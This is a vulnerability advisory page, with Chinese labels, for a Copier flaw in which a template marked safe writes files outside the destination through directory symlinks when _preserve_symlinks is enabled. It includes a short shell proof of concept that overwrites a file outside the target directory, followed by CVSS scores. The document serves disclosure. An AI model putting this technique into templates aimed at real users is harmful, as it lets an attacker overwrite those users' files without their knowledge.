CVE-2026-23986

HIGH7.1EPSS 0.08%

Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true

發布日:2026/1/21修改日:2026/2/3

描述

### Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. > [!NOTE] > > At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order. Reproducible example (may or may not work depending on directory entry yield order): ```shell mkdir other/ pushd other/ echo "sensitive" > sensitive.txt popd mkdir src/ pushd src/ ln -s ../other other echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja" echo "_preserve_symlinks: true" > copier.yml tree . # . # ├── copier.yml # ├── other -> ../other # └── {{ pathjoin('other', 'sensitive.txt') }}.jinja # # 1 directory, 2 files popd uvx copier copy --overwrite src/ dst/ cat other/sensitive.txt # overwritten ``` ### Patches n/a ### Workarounds n/a ### References n/a

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 4.0—CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
osvCVSS 3.1HIGH7.1CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

參考連結(5)